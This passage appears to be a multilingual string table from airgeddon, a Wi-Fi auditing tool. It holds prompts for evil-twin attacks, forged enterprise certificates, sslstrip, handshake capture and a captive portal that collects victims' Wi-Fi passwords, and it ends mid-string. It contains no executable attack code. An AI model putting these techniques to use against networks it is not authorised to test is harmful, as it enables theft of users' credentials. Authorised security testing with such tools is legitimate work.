arr["GREEK",301]="Για enterprise επιθέσεις, εάν έχετε τα νόμιμα πιστοποιητικά του δικτύου προορισμού και τον κωδικό πρόσβασής σας, μπορείτε να τα χρησιμοποιήσετε. Αν δεν τα έχετε, μπορείτε να χρησιμοποιήσετε το airgeddon για να δημιουργήσετε ορισμένα πιστοποιητικά με τα ίδια δεδομένα και να τα χρησιμοποιήσετε για να κάνετε την επίθεση πιο αξιόπιστη" arr["ITALIAN",301]="Per gli attacchi enterprise, se si dispone dei certificati legittimi della rete obiettivo e della sua password, è possibile utilizzarli. Se non li hai, puoi generareli con airgeddon con gli stessi dati e usarli per rendere l'attacco più credibile" arr["POLISH",301]="W przypadku ataków na sieci korporacyjne, jeśli masz prawidłowe certyfikaty sieci docelowej i hasło do nich, możesz ich użyć. Jeśli ich nie masz, możesz je wygenerować za pomocą airgeddon z tymi samymi danymi i wykorzystać je, aby atak był bardziej wiarygodny" arr["GERMAN",301]="Wenn Sie bei Unternehmensangriffen über die legitimen Zertifikate des Zielnetzwerks und Ihr Kennwort verfügen, können Sie diese verwenden. Wenn Sie diese nicht haben, können Sie mit airgeddon-Zertifikaten mit denselben Daten erstellen und sie verwenden, um den Angriff glaubwürdiger zu machen" arr["TURKISH",301]="Kurumsal saldırılarda, hedef ağın yasal sertifikalarına ve şifreniz varsa bunları kullanabilirsiniz. Onlara sahip değilseniz, aynı verilere sahip airgeddon sertifikalarıyla oluşturabilir ve saldırıyı daha inanılır hale getirmek için bunları kullanabilirsiniz" arr["ARABIC",301]="لإنشاء بعض الشهادات بنفس البيانات واستخدامها لجعل الهجوم أكثر مصداقية airgeddon إذا كان لديك بالفعل الشهادات الشرعية للشبكة المستهدفة وكلمة المرور ، فيمكنك استخدامها. إذا لم يكن لديك ، يمكنك استخدام ،enterprise بالنسبة لهجمات" arr["CHINESE",301]="对于企业级加密的无线网络攻击,如果你已经有目标网络的合法证书和密码,就可以使用。如果你没有它们,你可以使用airgeddon 生成一些具有相同数据的证书来使攻击更加容易" arr["ENGLISH",302]="Do you want to store in a file the sniffed captured passwords? \${blue_color}If you answer no (\"n\") they will be only shown on screen \${normal_color}\${visual_choice}" arr["SPANISH",302]="¿Deseas guardar en un fichero las contraseñas obtenidas del sniffing? \${blue_color}Si respondes que no (\"n\") solo se mostrarán por pantalla \${normal_color}\${visual_choice}" arr["FRENCH",302]="Voulez vous garder les mots de passe capturés dans un fichier? \${blue_color}Si vous répondez non (\"n\") les mots de passe s'afficheront à l'écran \${normal_color}\${visual_choice}" arr["CATALAN",302]="¿Vols guardar en un fitxer les contrasenyes obtingudes del sniffing? \${blue_color}Si respons que no (\"n\") només es mostraran per pantalla \${normal_color}\${visual_choice}" arr["PORTUGUESE",302]="Você deseja armazenar em um arquivo as senhas obtidas com o sniffer? \${blue_color}Se você responder não (\"n\") as senhas só serão mostradas na tela \${normal_color}\${visual_choice}" arr["RUSSIAN",302]="Вы хотите сохранить в файл захваченные сниффингом пароли? \${blue_color}Если ваш ответ нет (\"n\") они будут только показаны на экране \${normal_color}\${visual_choice}" arr["GREEK",302]="Θέλετε να αποθηκεύσετε σε ένα αρχείο τους sniffed κωδικούς πρόσβασης; \${blue_color}Αν απαντήσετε όχι (\"n\") απλά θα εμφανιστούν στην οθόνη \${normal_color}\${visual_choice}" arr["ITALIAN",302]="Vuoi salvare in un file le password ottenute con sniffing? \${blue_color}Se si risponde no (\"n\") vengono visualizzate solo sullo schermo \${normal_color}\${visual_choice}" arr["POLISH",302]="Czy chcesz zapisywać hasła w plikach? \${blue_color}Jeśli odpowiesz nie (\"n\") zostaną tylko wyświetlone na ekranie \${normal_color}\${visual_choice}" arr["GERMAN",302]="Möchten Sie die aus dem Sniffing erhaltenen Passwörter in einer Datei speichern? \${blue_color} Wenn Sie mit Nein antworten (\"n\"), werden sie nur auf dem Bildschirm angezeigt \${normal_color}\${visual_choice}" arr["TURKISH",302]="Yakalanan şifreler bir dosyada saklamak ister misiniz? \${blue_color}Eğer cevap hayır ise (\"n\") sadece ekranda gösterilecekler \${normal_color}\${visual_choice}" arr["ARABIC",302]="\${normal_color}\${visual_choice} \${blue_color}فسيتم عرض كلمات المرور على الشاشة ،(\"n\") إذا أجبت بلا \${green_color}هل تريد الاحتفاظ بكلمات المرور الملتقطة في ملف؟\${normal_color}" arr["CHINESE",302]="您想将嗅探捕获到的密码存储在文件中吗? \${blue_color}如果您回答否 (\"n\") 它们只会显示在屏幕上 \${normal_color}\${visual_choice}" arr["ENGLISH",303]="Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${default_ettercap_logpath}]" arr["SPANISH",303]="Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${default_ettercap_logpath}]" arr["FRENCH",303]="Entrez le chemin du fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${default_ettercap_logpath}]" arr["CATALAN",303]="Escriu la ruta on desarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${default_ettercap_logpath}]" arr["PORTUGUESE",303]="Digite o caminho onde armazenar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${default_ettercap_logpath}]" arr["RUSSIAN",303]="Напечатайте путь до файла для сохранения или нажмите [Enter] для принятия предложения по умолчанию \${normal_color}[\${default_ettercap_logpath}]" arr["GREEK",303]="Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${default_ettercap_logpath}]" arr["ITALIAN",303]="Digitare il percorso dove memorizzare il file o premere [Enter] per accettare la proposta di default \${normal_color}[\${default_ettercap_logpath}]" arr["POLISH",303]="Wpisz ścieżkę, w której będziemy zapisywać plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${default_ettercap_logpath}]" arr["GERMAN",303]="Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag zu akzeptieren \${normal_color}[\${default_ettercap_logpath}]" arr["TURKISH",303]="Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın \${normal_color}[\${default_ettercap_logpath}]" arr["ARABIC",303]="\${normal_color}[\${default_ettercap_logpath}] \${green_color} لاستخدام المسار المقترح [Enter] أدخل مسار الملف أو اضغط على\${normal_color}" arr["CHINESE",303]="输入文件存储路径或按 [Enter] 接受默认建议 \${normal_color}[\${default_ettercap_logpath}]" arr["ENGLISH",304]="Parsing sniffer log..." arr["SPANISH",304]="Analizando log del sniffer..." arr["FRENCH",304]="Analyse du log des captures..." arr["CATALAN",304]="Analitzant log del sniffer..." arr["PORTUGUESE",304]="Analisando log do Sniffer..." arr["RUSSIAN",304]="Разбор журнала сниффера..." arr["GREEK",304]="Γίνεται ανάλυση του log του sniffer..." arr["ITALIAN",304]="Analizzando log dello sniffer..." arr["POLISH",304]="Analiza logu sniffera..." arr["GERMAN",304]="Sniffer-Protokoll Analyse..." arr["TURKISH",304]="Sniffer logu ayrıştırılıyor..." arr["ARABIC",304]="...تحليل سجل الشم" arr["CHINESE",304]="正在解析嗅探日志..." arr["ENGLISH",305]="No passwords detected on sniffers' log. File will not be saved" arr["SPANISH",305]="No se ha encontrado ninguna contraseña en el log del sniffer. No se guardará el fichero" arr["FRENCH",305]="Aucun mot de passe n'a été détecté. Le fichier ne sera pas sauvegardé" arr["CATALAN",305]="No s'ha trobat cap contrasenya en el log del sniffer. No es guarda el fitxer" arr["PORTUGUESE",305]="Nenhuma senha foi encontrada no log do sniffer. Arquivo não será salvo" arr["RUSSIAN",305]="В журнале сниффера паролей не обнаружено. Файл не будет сохранён" arr["GREEK",305]="Δεν εντοπίστηκαν κωδικοί πρόσβασης στο log του sniffer. Το αρχείο δεν θα αποθηκευτεί" arr["ITALIAN",305]="Nessuna password trovata nel log dello sniffer. Il file non viene salvato" arr["POLISH",305]="W logu sniffera nie znaleziono haseł. Plik nie zostanie zapisany" arr["GERMAN",305]="Im Sniffer-Protokoll wurde kein Passwort gefunden. Die Datei wird nicht gespeichert" arr["TURKISH",305]="Sniffers'ın günlüğünde hiçbir şifre algılanmadı. Dosya kaydedilmeyecek" arr["ARABIC",305]="لم يتم الكشف عن كلمة سر. لن يتم حفظ الملف" arr["CHINESE",305]="嗅探日志中未检测到密码。文件不会被保存" arr["ENGLISH",306]="Passwords captured by sniffer. File saved at \${normal_color}[\${ettercap_logpath}]" arr["SPANISH",306]="El sniffer ha capturado contraseñas. Fichero salvado en \${normal_color}[\${ettercap_logpath}]" arr["FRENCH",306]="Des mots de passe ont été capturé et ont été enregistré dans \${normal_color}[\${ettercap_logpath}]" arr["CATALAN",306]="El sniffer ha capturat contrasenyes. Fitxer desat a \${normal_color}[\${ettercap_logpath}]" arr["PORTUGUESE",306]="O sniffer capturou senhas. O arquivo foi salvo em \${normal_color}[\${ettercap_logpath}]" arr["RUSSIAN",306]="Сниффер захватил пароли. Файл сохранён в \${normal_color}[\${ettercap_logpath}]" arr["GREEK",306]="Καταγράφηκαν κωδικοί πρόσβασης από τον sniffer. Το αρχείο αποθηκεύτηκε στο \${normal_color}[\${ettercap_logpath}]" arr["ITALIAN",306]="Lo sniffer ha catturato delle password. File salvato in \${normal_color}[\${ettercap_logpath}]" arr["POLISH",306]="Sniffer przechwycił hasła. Plik zapisany w \${normal_color}[\${ettercap_logpath}]" arr["GERMAN",306]="Der Sniffer hat Passwörter erfasst. Datei in \${normal_color}[\${ettercap_logpath}] \${blue_color}gespeichert" arr["TURKISH",306]="Parolalar sniffer tarafından yakalandı. Şu dosyaya kaydedildi \${normal_color}[\${ettercap_logpath}]" arr["ARABIC",306]="\${normal_color}[\${ettercap_logpath}] \${blue_color}تم التقاط كلمات المرور بواسطة المتشمم. تم حفظ الملف في\${normal_color}" arr["CHINESE",306]="嗅探已经捕获密码。文件保存在 \${normal_color}[\${ettercap_logpath}]" arr["ENGLISH",307]="7. Noisy mode Enterprise Evil Twin" arr["SPANISH",307]="7. Evil Twin Enterprise modo noisy" arr["FRENCH",307]="7. Evil Twin Enterprise mode bruyant" arr["CATALAN",307]="7. Evil Twin Enterprise mode noisy" arr["PORTUGUESE",307]="7. Evil Twin Enterprise (agressivo)" arr["RUSSIAN",307]="7. Noisy режим Enterprise Evil Twin" arr["GREEK",307]="7. Noisy mode Enterprise Evil Twin" arr["ITALIAN",307]="7. Evil Twin Enterprise modalità noisy" arr["POLISH",307]="7. Enterprise Evil Twin w trybie noisy" arr["GERMAN",307]="7. Noisy-Modus Enterprise Evil Twin" arr["TURKISH",307]="7. Noisy mod Enterprise Evil Twin" arr["ARABIC",307]="7. Noisy mode Enterprise Evil Twin وضع" arr["CHINESE",307]="7. 嘈杂模式针对企业级加密的邪恶双胞胎" arr["ENGLISH",308]="6. Russian" arr["SPANISH",308]="6. Ruso" arr["FRENCH",308]="6. Russe" arr["CATALAN",308]="6. Rus" arr["PORTUGUESE",308]="6. Russo" arr["RUSSIAN",308]="6. Русский" arr["GREEK",308]="6. Ρωσικά" arr["ITALIAN",308]="6. Russo" arr["POLISH",308]="6. Rosyjski" arr["GERMAN",308]="6. Russisch" arr["TURKISH",308]="6. Rusça" arr["ARABIC",308]="6. الروسية" arr["CHINESE",308]="6. 俄语" arr["ENGLISH",309]="Sslstrip technique is not infallible. It depends on many factors and not always work. Some browsers such as Mozilla Firefox latest versions are not affected" arr["SPANISH",309]="La tecnica sslstrip no es infalible. Depende de muchos factores y no funciona siempre. Algunos navegadores como las últimas versiones de Mozilla Firefox no se ven afectados" arr["FRENCH",309]="La technique de sslstrip n'est pas à toute épreuve. Cela dépend de nombreux facteurs et ne fonctionne pas toujours. Certains navigateurs tels que Mozilla Firefox dans leurs versions les plus récentes ne sont pas vulnérables" arr["CATALAN",309]="La tècnica sslstrip no és infal·lible. Depèn de molts factors i no funciona sempre. Alguns navegadors com les últimes versions de Mozilla Firefox no es veuen afectats" arr["PORTUGUESE",309]="A técnica sslstrip não é infalível. Depende de muitos fatores e nem sempre funciona. Alguns navegadores como o Mozilla Firefox nas versões mais recentes não são afetados" arr["RUSSIAN",309]="Техника sslstrip не является надёжной. Эффект программы зависит от многих факторов и иногда она просто не работает. Некоторые браузеры, такие как Mozilla Firefox последних версий, не подвержены атаке" arr["GREEK",309]="Η τεχνική sslstrip δεν είναι αλάνθαστη. Εξαρτάται από πολλούς παράγοντες και δεν δουλεύει πάντα. Κάποιοι περιηγητές ιστού όπως οι τελευταίες εκδόσεις του Mozilla Firefox δεν επηρεάζονται" arr["ITALIAN",309]="La tecnica sslstrip non è infallibile. Dipende da molti fattori e non sempre funziona. Alcuni browser, come le ultime versioni di Mozilla Firefox non sono vulnerabili" arr["POLISH",309]="Technika sslstrip nie jest nieomylna. Zależy od wielu czynników i nie zawsze działa. Nie ma na przykład wpływu na niektóre przeglądarki, takie jak najnowsze wersje Mozilla Firefox" arr["GERMAN",309]="Die sslstrip-Technik ist nicht unfehlbar. Es hängt von vielen Faktoren ab und funktioniert nicht immer. Einige Browser wie die neuesten Mozilla Firefox Versionen sind nicht betroffen" arr["TURKISH",309]="Sslstrip tekniği yanılmaz değildir. Birçok faktöre bağlıdır ve her zaman işe yaramaz. Mozilla Firefox son sürümleri gibi bazı tarayıcılar etkilenmez" arr["ARABIC",309]="في أحدث إصداراتها محصنة Mozilla Firefox ليست مضمونة. يعتمد على العديد من العوامل ولا يعمل دائمًا. بعض المتصفحات مثل sslstrip تقنية" arr["CHINESE",309]="ssLstrip 并非万无一失。这取决于许多因素,它并不总是有效。部分浏览器如 Mozilla Firefox 的最新版本就不受影响" arr["ENGLISH",310]="Handshake file selected: \${pink_color}None\${normal_color}" arr["SPANISH",310]="Fichero de Handshake seleccionado: \${pink_color}Ninguno\${normal_color}" arr["FRENCH",310]="Fichier Handshake sélectionné: \${pink_color}Aucun\${normal_color}" arr["CATALAN",310]="Fitxer de Handshake seleccionat: \${pink_color}Ningú\${normal_color}" arr["PORTUGUESE",310]="Arquivo de Handshake selecionado: \${pink_color}Nenhum\${normal_color}" arr["RUSSIAN",310]="Выбранный файл рукопожатия: \${pink_color}Отсутствует\${normal_color}" arr["GREEK",310]="Επιλεγμένο αρχείο Χειραψίας: \${pink_color}Κανένα\${normal_color}" arr["ITALIAN",310]="File di Handshake selezionato: \${pink_color}Nessuno\${normal_color}" arr["POLISH",310]="Wybrany plik Handshake: \${pink_color}Brak\${normal_color}" arr["GERMAN",310]="Ausgewählte Handshake-Datei: \${pink_color}Keine\${normal_color}" arr["TURKISH",310]="Handshake dosyası seçildi: \${pink_color}None\${normal_color}" arr["ARABIC",310]="\${pink_color}None\${blue_color} :Handshake تم تحديد ملف\${normal_color}" arr["CHINESE",310]="选择的握手包文件: \${pink_color}None\${normal_color}" arr["ENGLISH",311]="Handshake file selected: \${pink_color}\${et_handshake}\${normal_color}" arr["SPANISH",311]="Fichero de Handshake seleccionado: \${pink_color}\${et_handshake}\${normal_color}" arr["FRENCH",311]="Fichier Handshake sélectionnée: \${pink_color}\${et_handshake}\${normal_color}" arr["CATALAN",311]="Fitxer de Handshake seleccionat: \${pink_color}\${et_handshake}\${normal_color}" arr["PORTUGUESE",311]="Arquivo de Handshake selecionado: \${pink_color}\${et_handshake}\${normal_color}" arr["RUSSIAN",311]="Выбранный файл рукопожатия: \${pink_color}\${et_handshake}\${normal_color}" arr["GREEK",311]="Επιλεγμένο αρχείο Χειραψίας: \${pink_color}\${et_handshake}\${normal_color}" arr["ITALIAN",311]="File di Handshake selezionato: \${pink_color}\${et_handshake}\${normal_color}" arr["POLISH",311]="Wybrany plik Handshake: \${pink_color}\${et_handshake}\${normal_color}" arr["GERMAN",311]="Ausgewählte Handshake-Datei: \${pink_color}\${et_handshake}\${normal_color}" arr["TURKISH",311]="Handshake dosyası seçildi: \${pink_color}\${et_handshake}\${normal_color}" arr["ARABIC",311]="\${pink_color}\${et_handshake}\${blue_color} :Handshake تم تحديد ملف\${normal_color}" arr["CHINESE",311]="选择的握手包文件: \${pink_color}\${et_handshake}\${normal_color}" arr["ENGLISH",312]="No selected Handshake file detected during this session..." arr["SPANISH",312]="No se ha detectado ningún fichero de Handshake seleccionado en esta sesión..." arr["FRENCH",312]="Aucun fichier Handshake valable a été sékectionné pour cette session..." arr["CATALAN",312]="No s'ha detectat un fitxer de Handshake seleccionat en aquesta sessió..." arr["PORTUGUESE",312]="Nenhum arquivo de Handshake foi selecionado nesta sessão..." arr["RUSSIAN",312]="Во время этой сессии выбранный файл рукопожатия не обнаружен..." arr["GREEK",312]="Δεν εντοπίστηκε κανένα αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας..." arr["ITALIAN",312]="Non è stato rilevato nessun file di Handshake selezionato in questa sessione..." arr["POLISH",312]="Nie wybrano pliku Handshake w tej sesji..." arr["GERMAN",312]="Keine Handshake-Datei erkannt bei dieser Session..." arr["TURKISH",312]="Bu oturumda hiçbir Handshake dosyası tespit edilmedi..." arr["ARABIC",312]="...محدد أثناء هذه الدورة Handshake لم يتم اكتشاف ملف" arr["CHINESE",312]="在此会话期间未检测到选定的握手包文件..." arr["ENGLISH",313]="Handshake selected file detected during this session [\${normal_color}\${et_handshake}\${blue_color}]" arr["SPANISH",313]="Se ha detectado un fichero de Handshake seleccionado en esta sesión [\${normal_color}\${et_handshake}\${blue_color}]" arr["FRENCH",313]="Le fichier handshake suivant a été détecté comme étant sélectionné pour cette session [\${normal_color}\${et_handshake}\${blue_color}]" arr["CATALAN",313]="S'ha detectat un fitxer de Handshake seleccionat en aquesta sessió [\${normal_color}\${et_handshake}\${blue_color}]" arr["PORTUGUESE",313]="Um arquivo de Handshake foi capturado nesta sessão [\${normal_color}\${et_handshake}\${blue_color}]" arr["RUSSIAN",313]="Обнаружен файл рукопожатия, выбранный в этой сессии [\${normal_color}\${et_handshake}\${blue_color}]" arr["GREEK",313]="Εντοπίστηκε επιλεγμένο αρχείο Χειραψίας κατά τη διάρκεια της συνεδρίας [\${normal_color}\${et_handshake}\${blue_color}]" arr["ITALIAN",313]="Trovato un file di Handshake selezionato in questa sessione [\${normal_color}\${et_handshake}\${blue_color}]" arr["POLISH",313]="Wkryto wybrany plik Handshake w tej sesji [\${normal_color}\${et_handshake}\${blue_color}]" arr["GERMAN",313]="In dieser Sitzung wurde eine ausgewählte Handshake-Datei gefunden [\${normal_color}\${et_handshake}\${blue_color}]" arr["TURKISH",313]="Bu oturumda handshake dosyyası tespit edildi [\${normal_color}\${et_handshake}\${blue_color}]" arr["ARABIC",313]="[\${normal_color}\${et_handshake}\${blue_color}] المحدد أثناء هذه الدورة Handshake تم اكتشاف ملف" arr["CHINESE",313]="在此会话期间检测到选择的握手包文件 [\${normal_color}\${et_handshake}\${blue_color}]" arr["ENGLISH",314]="Handshake file selected: \${pink_color}\${enteredpath}\${normal_color}" arr["SPANISH",314]="Fichero de Handshake seleccionado: \${pink_color}\${enteredpath}\${normal_color}" arr["FRENCH",314]="Fichier Handshake sélectionné: \${pink_color}\${enteredpath}\${normal_color}" arr["CATALAN",314]="Fitxer de Handshake seleccionat: \${pink_color}\${enteredpath}\${normal_color}" arr["PORTUGUESE",314]="Arquivo de Handshake selecionado: \${pink_color}\${enteredpath}\${normal_color}" arr["RUSSIAN",314]="Выбранный файл рукопожатия: \${pink_color}\${enteredpath}\${normal_color}" arr["GREEK",314]="Επιλεγμένο αρχείο Χειραψίας: \${pink_color}\${enteredpath}\${normal_color}" arr["ITALIAN",314]="File di Handshake selezionato: \${pink_color}\${enteredpath}\${normal_color}" arr["POLISH",314]="Wybrany plik Handshake: \${pink_color}\${enteredpath}\${normal_color}" arr["GERMAN",314]="Ausgewählte Handshake-Datei: \${pink_color}\${enteredpath}\${normal_color}" arr["TURKISH",314]="Handshake dosyası seçildi \${pink_color}\${enteredpath}\${normal_color}" arr["ARABIC",314]="\${pink_color}\${enteredpath}\${blue_color} :Handshake تم تحديد ملف\${normal_color}" arr["CHINESE",314]="选择的握手包文件: \${pink_color}\${enteredpath}\${normal_color}" arr["ENGLISH",315]="This attack requires that you have previously a WPA/WPA2 network captured Handshake file" arr["SPANISH",315]="Este ataque requiere que tengas capturado previamente un fichero de Handshake de una red WPA/WPA2" arr["FRENCH",315]="Vous devez déjà avoir capturé un Handsahke WPA/WPA2 pour pouvoir lancer cette attaque" arr["CATALAN",315]="Aquest atac requereix que tinguis capturat prèviament un fitxer de Handshake d'una xarxa WPA/WPA2" arr["PORTUGUESE",315]="Este ataque requer que você já tenha capturado um arquivo de Handshake de uma rede WPA/WPA2" arr["RUSSIAN",315]="Эта атака требует предварительного захвата файла рукопожатия для WPA/WPA2 сети" arr["GREEK",315]="Αυτή η επίθεση απαιτεί να έχετε προηγουμένως κατεγράψει ένα αρχείο Χειραψίας από WPA/WPA2 δίκτο" arr["ITALIAN",315]="Questo attacco richiede che tu abbia catturato precedentemente un file di Handshake di una rete WPA/WPA2" arr["POLISH",315]="Ten atak wymaga uprzedniego przechwycenia pliku Handshake z sieci WPA/WPA2" arr["GERMAN",315]="Dieser Angriff erfordert, dass Sie zuvor eine Handshake-Datei aus einem WPA/WPA2-Netzwerk erfasst haben" arr["TURKISH",315]="Bu saldırı, daha önce WPA/WPA2 ağı ele geçirilmiş Handshake dosyasına sahip olmanızı gerektirir" arr["ARABIC",315]="مسبقًا WPA/WPA2 الذي تم التقاطه عبر شبكة Handshake يتطلب هذا الهجوم أن يكون لديك ملف" arr["CHINESE",315]="进行这种攻击之前需要有一个 WPA/WPA2 无线网络捕获的握手包文件" arr["ENGLISH",316]="An exploration looking for targets is going to be done..." arr["SPANISH",316]="Se va a realizar una exploración en busca de objetivos..." arr["FRENCH",316]="Recherche de réseaux cible..." arr["CATALAN",316]="Es realitzarà una exploració a la recerca d'objectius..." arr["PORTUGUESE",316]="Uma busca por redes wifi será realizada..." arr["RUSSIAN",316]="Выполнение сканирования целей..." arr["GREEK",316]="Πρόκειται να γίνει μία αναζήτηση για έυρεση στόχων..." arr["ITALIAN",316]="Si effettuerà una scansione in cerca di obiettivi..." arr["POLISH",316]="Zostanie przeprowadzone poszukiwanie celów..." arr["GERMAN",316]="Ein Scan wird auf der Suche nach Zielen durchgeführt..." arr["TURKISH",316]="Hedefleri arayan bir keşif yapılacaktır..." arr["ARABIC",316]="...سيتم إجراء استكشاف يبحث عن أهداف" arr["CHINESE",316]="一场寻找目标的探索即将展开……..." arr["ENGLISH",317]="If the password for the wifi network is achieved with the captive portal, you must decide where to save it. \${green_color}Type the path to store the file or press [Enter] to accept the default proposal \${normal_color}[\${default_et_captive_portal_logpath}]" arr["SPANISH",317]="Si se consigue la contraseña de la red wifi con el portal cautivo, hay que decidir donde guardarla. \${green_color}Escribe la ruta donde guardaremos el fichero o pulsa [Enter] para aceptar la propuesta por defecto \${normal_color}[\${default_et_captive_portal_logpath}]" arr["FRENCH",317]="Si un mot de passe est capté sur le portail captif il faut lui assigner un endroit pour être enregistré. \${green_color}Entrez le chemin du fichier ou bien appuyez sur [Enter] pour utiliser le chemin proposé \${normal_color}[\${default_et_captive_portal_logpath}]" arr["CATALAN",317]="Si s'aconsegueix la contrasenya de la xarxa wifi amb el portal captiu, cal decidir on guardar-la. \${green_color}Escriu la ruta on desarem el fitxer o prem [Enter] per acceptar la proposta per defecte \${normal_color}[\${default_et_captive_portal_logpath}]" arr["PORTUGUESE",317]="Se a senha da rede wifi for conseguida com o portal cativo, onde deseja salvar? \${green_color}Digite um caminho para salvar o arquivo ou pressione [Enter] para aceitar o padrão \${normal_color}[\${default_et_captive_portal_logpath}]" arr["RUSSIAN",317]="Вы должны решить, где будет сохранён пароль wifi сети, если он будет получен Перехватывающим порталом. \${green_color}Впишите путь до файла или нажмите [Enter] для принятия значения по умолчанию \${normal_color}[\${default_et_captive_portal_logpath}]" arr["GREEK",317]="Εάν ο κωδικός πρόσβασης του δικτύου wifi επιτευχθεί με captive portal, θα πρέπει να αποφασίσετε που θα τον αποθηκεύσετε. \${green_color}Πληκτρολογήστε το μονοπάτι για να αποθηκεύσετε το αρχείο ή πατήστε [Enter] για την προεπιλεγμένη επιλογή \${normal_color}[\${default_et_captive_portal_logpath}]" arr["ITALIAN",317]="Se si ottiene la password della rete wireless con il captive portal, bisogna decidere dove salvarla. \${green_color}Immettere il percorso dove memorizzare il file o premere [Enter] per accettare quello di default proposto \${normal_color}[\${default_et_captive_portal_logpath}]" arr["POLISH",317]="Jeśli hasło sieci wifi zostanie uzyskane z portalu captive, musisz zdecydować gdzie je zapisać. \${green_color}Wpisz ścieżkę, w której zapiszemy plik lub naciśnij [Enter], aby zaakceptować domyślną propozycję \${normal_color}[\${default_et_captive_portal_logpath}]" arr["GERMAN",317]="Wenn Sie das WLAN-Passwort mit dem Captive Portal erhalten, müssen Sie entscheiden, wo es gespeichert werden soll. \${green_color} Geben Sie den Pfad ein, unter dem die Datei gespeichert werden soll, oder drücken Sie die [Enter]-Taste, um den Standardvorschlag zu akzeptieren \${normal_color}[\${default_et_captive_portal_logpath}]" arr["TURKISH",317]="Eğer wifi ağının şifresi esaret portalı ile yakalandıysa, nereye kaydedileceğini belirlemelisiniz. \${green_color}Dosyayı depolamak için yolu yazın veya varsayılan teklifi kabul etmek için [Enter] tuşuna basın. \${normal_color}[\${default_et_captive_portal_logpath}]" arr["ARABIC",317]="\${normal_color}[\${default_et_captive_portal_logpath}] \${green_color}لاستخدام المسار المقترح [Enter] أدخل مسار الملف أو اضغط على \${blue_color}.إذا تم التقاط كلمة سرعلى البوابة الأسيرة ، فيجب تخصيص مكان لتسجيلها" arr["CHINESE",317]="如果 wifi 网络的密码是通过强制门户获得的,您必须决定将其保存在何处。\${green_color}键入存储文件的路径或按 [Enter] 接受默认建议 \${normal_color}[\${default_et_captive_portal_logpath}]" arr["ENGLISH",318]="Choose the language in which network clients will see the captive portal:" arr["SPANISH",318]="Elige el idioma en el que los clientes de la red verán el portal cautivo:" arr["FRENCH",318]="Choisissez la langue dans laquelle les clients du réseau verront le portail captif:" arr["CATALAN",318]="Tria l'idioma en el qual els clients de la xarxa veuran el portal captiu:" arr["PORTUGUESE",318]="Escolha o idioma em que os clientes da rede irão ver o portal cativo:" arr["RUSSIAN",318]="Выберите язык, на котором клиенты сети будут видеть перехватывающий портал:" arr["GREEK",318]="Επιλέξτε τη γλώσσα που θα βλέπουν οι χρήστες του δικτύου στο captive portal:" arr["ITALIAN",318]="Scegli la lingua in cui i clienti della rete vedranno il captive portal:" arr["POLISH",318]="Wybierz język, w którym klienci sieci zobaczą portal:" arr["GERMAN",318]="Wählen Sie die Sprache, in der die Clients des Netzwerks das Captive-Portal sehen:" arr["TURKISH",318]="Ağ istemcilerinin Esaret Portalını göreceği dili seçin:" arr["ARABIC",318]=":اختر اللغة التي سيرى بها زبناء الشبكة البوابة الأسيرة" arr["CHINESE",318]="选择用户将看到的强制门户中的语言:" arr["ENGLISH",319]="The captive portal language has been established" arr["SPANISH",319]="Se ha establecido el idioma del portal cautivo" arr["FRENCH",319]="La langue pour le portail captif est activée" arr["CATALAN",319]="S'ha establert l'idioma del portal captiu" arr["PORTUGUESE",319]="A língua do portal cativo foi selecionada" arr["RUSSIAN",319]="Язык перехватывающего портала установлен" arr["GREEK",319]="Εγκαταστάθηκε η γλώσσα στο captive portal" arr["ITALIAN",319]="La lingua del captive portal è stata stabilita" arr["POLISH",319]="Został utworzony język portalu captive" arr["GERMAN",319]="Die Sprache des Captive-Portals wurde festgelegt" arr["TURKISH",319]="Esaret Portalının dili belirlendi" arr["ARABIC",319]="تم تفعيل لغة البوابة الأسيرة" arr["CHINESE",319]="强制门户语言已经建立" arr["ENGLISH",320]="7. Greek" arr["SPANISH",320]="7. Griego" arr["FRENCH",320]="7. Grec" arr["CATALAN",320]="7. Grec" arr["PORTUGUESE",320]="7. Grego" arr["RUSSIAN",320]="7. Греческий" arr["GREEK",320]="7. Ελληνικά" arr["ITALIAN",320]="7. Greco" arr["POLISH",320]="7. Grecki" arr["GERMAN",320]="7. Griechisch" arr["TURKISH",320]="7. Yunanca" arr["ARABIC",320]="7. اليونانية" arr["CHINESE",320]="7. 希腊语" arr["ENGLISH",321]="Do you already have a captured Handshake file? \${blue_color}Answer yes (\"y\") to enter the path or answer no (\"n\") to capture a new one now \${normal_color}\${visual_choice}" arr["SPANISH",321]="¿Tienes ya un fichero de Handshake capturado? \${blue_color}Responde sí (\"y\") para introducir la ruta o responde no (\"n\") para capturar uno ahora \${normal_color}\${visual_choice}" arr["FRENCH",321]="Avez-vous déjà un fichier contenant un Handshake capturé? \${blue_color}Répondre oui (\"y\") pour en saisir la route o buien répondre non (\"n\") pour le capturer \${normal_color}\${visual_choice}" arr["CATALAN",321]="¿Tens ja un fitxer de Handshake capturat? \${blue_color}Respon si (\"y\") per introduir la ruta o respon no (\"n\") per capturar-ne un ara \${normal_color}\${visual_choice}" arr["PORTUGUESE",321]="Você já tem um arquivo de Handshake capturado? \${blue_color}Responda sim (\"y\") para colocar o caminho do arquivo ou responda não (\"n\") para capturar o arquivo agora \${normal_color}\${visual_choice}" arr["RUSSIAN",321]="У вас уже есть захваченный файл рукопожатия? \${blue_color}Ответьте Да (\"y\"), для ввода пути или ответьте Нет (\"n\"), для захвата нового рукопожатия \${normal_color}\${visual_choice}" arr["GREEK",321]="Έχετε ήδη κάποιο αρχείο Χειραψίας; \${blue_color}Απαντήστε ναι (\"y\") για να εισάγετε το μονοπάτι ή απαντήστε όχι (\"n\") για να καταγράψετε ένα νέο τώρα \${normal_color}\${visual_choice}" arr["ITALIAN",321]="Hai già catturato un file di Handshake? \${blue_color}Rispondi sì (\"y\") per introdurre il percorso o rispondi no (\"n\") per catturarne uno ora 